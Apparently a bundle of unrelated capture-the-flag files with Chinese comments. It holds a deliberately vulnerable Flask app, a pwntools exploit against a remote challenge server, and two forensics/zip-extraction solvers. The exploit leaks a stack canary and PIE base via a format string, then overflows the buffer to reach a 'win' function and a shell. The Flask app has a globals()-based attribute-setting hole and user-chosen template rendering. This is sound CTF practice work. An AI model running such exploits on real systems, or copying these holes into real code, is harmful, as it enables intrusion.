from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
    return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
    return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
    username=request.form['username']
    password=request.form['password']
    password2=request.form['password2']
    if password!=password2:
        return '''
        <script>
        alert('前后密码不一致，请确认后重新输入。');
        window.location.href='/register';
        </script>
        '''
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
    return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
    return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
    return {'username':user}

def logout():
    return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
    old_password=request.form['old_password']
    new_password=request.form['new_password']
    if user in database and database[user] == old_password:
        database[user]=new_password
        return '''
        <script>
        alert('密码修改成功，请重新登录。');
        window.location.href='/';
        </script>
        '''
    else:
        return '''
        <script>
        alert('密码修改失败，请确认旧密码是否正确。');
        window.location.href='/user_dashboard';
        </script>
        '''

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

@app.route('/login',methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    type=request.form['type']
    if username in database and database[username] != password:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    elif username not in database:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for('user_dashboard'))
        elif int(type)==0:
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
    app.run(host='0.0.0.0',port=8080,debug=False)

from pwn import *

# ================= 配置区域 =================
context(os='linux', arch='amd64', log_level='debug')
binary_path = './ez_fmt'
elf = ELF(binary_path)

# 启动进程
# io = process(binary_path)

host = 'challenge.bluesharkinfo.com'
port = 20609
io = remote(host, port)
# ===========================================

# 1. 泄露 Canary 和 返回地址 (计算 PIE)
print("[-] Step 1: Leaking Canary and PIE Base...")
io.recvuntil(b"1st input: ")

# 发送 payload：同时泄露 Canary (%23$p) 和 返回地址 (%25$p)
io.sendline(b'%23$p.%25$p')

# 接收并解析
data = io.recvline().strip().split(b'.')
if len(data) < 2:
    print("[!] Error: Leak data incomplete. Check offset.")
    exit()

canary = int(data[0], 16)
leak_ret_addr = int(data[1], 16)

print(f"[+] Leaked Canary: {hex(canary)}")
print(f"[+] Leaked Ret Addr: {hex(leak_ret_addr)}")

# objdump -d ./ez_fmt | grep -A 2 "call.*vuln"
RET_OFFSET = 0x135b  # 根据 objdump 结果确认
elf.address = leak_ret_addr - RET_OFFSET
print(f"[+] PIE Base Address: {hex(elf.address)}")
print(f"[+] Real Win Address: {hex(elf.symbols['win'])}")

# ===========================================

# 2. 栈溢出攻击 (Bypass Canary & PIE)
print("[-] Step 2: Sending Buffer Overflow Payload...")
io.recvuntil(b"2nd input: ")

# 获取 ROP gadget (用于栈对齐)
rop = ROP(elf)
try:
    ret_gadget = rop.find_gadget(['ret'])[0]
    print(f"[*] Ret Gadget: {hex(ret_gadget)}")
except:
    # 如果找不到 ret gadget，尝试直接跳 win (可能不需要对齐)
    ret_gadget = 0 
    print("[!] Warning: Ret gadget not found.")

padding_size = 136  # buffer 大小

# 构造 Payload
payload = flat([
    b'A' * padding_size,      # 填满 Buffer
    canary,                   # 填回 Canary
    b'B' * 8,                 # 覆盖 RBP
    ret_gadget,               # ret gadget (栈对齐，防崩)
    elf.symbols['win']        # 跳转到 win
])

# 发送
io.sendline(payload)

# 3. 拿 Shell
print("[*] Switching to interactive mode...")
io.interactive()

import re

# 将题目提供的日志内容保存为 log.txt
log_file = "access.log"

def extract_flag():
    with open(log_file, "r") as f:
        content = f.read()

    # 1. 正则匹配所有的 File data segment
    # 注意：虽然时间戳乱序，但日志文本中 Segment 是按 1-116 顺序出现的
    # 如果文本行顺序也是乱的，需要根据 "segment X..." 进行排序，但此题文本流看起来是顺序的
    pattern = re.compile(r"\[INFO\] File data segment: ([0-9a-f]+)")
    hex_segments = pattern.findall(content)

    # 2. 拼接所有十六进制字符串
    full_hex = "".join(hex_segments)
    
    # 3. 转换为字节流
    data_bytes = bytes.fromhex(full_hex)

    # 4. XOR 0x05 解密
    decrypted_bytes = bytearray()
    for b in data_bytes:
        decrypted_bytes.append(b ^ 0x05)

    # 5. 保存文件
    # 根据文件头 37 7A BC AF，这是一个 7z 文件
    output_filename = "result.7z"
    with open(output_filename, "wb") as f:
        f.write(decrypted_bytes)
    
    print(f"[-] 文件已提取为 {output_filename}")
    print("[-] 请解压该文件，里面包含一个 flag.png，打开图片即可看到 Flag。")

if __name__ == "__main__":
    extract_flag()

import zipfile
import subprocess
import re
import os

def solve_matryoshka():
    # 初始文件名
    current_zip = "flagggg999.zip"
    
    while True:
        if not os.path.exists(current_zip):
            print(f"[-] 文件 {current_zip} 不存在，停止。")
            break
            
        try:
            # 1. 使用 zipfile 读取注释 (zipfile 可以读取 AES 包的元数据)
            with zipfile.ZipFile(current_zip, 'r') as zf:
                # 注释是 bytes 类型，需要解码
                comment = zf.comment.decode('utf-8', errors='ignore').strip()
                
                # 获取包内的文件名 (假设只有一个文件)
                file_list = zf.namelist()
                if not file_list:
                    print("[-] 压缩包为空")
                    break
                next_file = file_list[0]
            
            # 2. 从注释中提取密码
            # 注释格式: "The password is 0eb9d3986e56473c"
            print(f"[*] 正在处理: {current_zip} | 注释: {comment}")
            
            # 使用正则提取密码 (匹配 "password is " 后面的内容)
            match = re.search(r"password is\s+([^\s]+)", comment)
            if match:
                password = match.group(1)
            else:
                # 如果没有找到标准格式，尝试直接用注释最后一部分
                print("[!] 未匹配到标准格式，尝试使用最后一段作为密码")
                password = comment.split()[-1]
            
            # 3. 调用系统 7z 命令进行解压 (因为 Python zipfile 不支持 AES)
            # 格式: 7z x -pPASSWORD -y ARCHIVE
            cmd = ["7z", "x", f"-p{password}", "-y", current_zip]
            
            # 运行解压命令，屏蔽输出以免刷屏
            result = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)
            
            if result.returncode != 0:
                print(f"[-] 解压失败: {current_zip}")
                print(f"[-] 错误信息: {result.stderr.decode()}")
                break
            
            # 4. 清理旧文件并指向新文件
            os.remove(current_zip) # 删除上一层，节省空间
            current_zip = next_file
            
            # 如果解压出来的不是 zip 了（比如是 flag.txt），就停下来
            if not current_zip.endswith('.zip'):
                print(f"\n[SUCCESS] 最终文件已解出: {current_zip}")
                print("内容如下:")
                try:
                    with open(current_zip, 'r', encoding='utf-8') as f:
                        print(f.read())
                except:
                    print("(文件可能是二进制格式，请手动查看)")
                break
                
        except zipfile.BadZipFile:
            print(f"[-] {current_zip} 不是有效的 ZIP 文件")
            break
        except Exception as e:
            print(f"[-] 发生未知错误: {e}")
            break

if __name__ == "__main__":
    solve_matryoshka()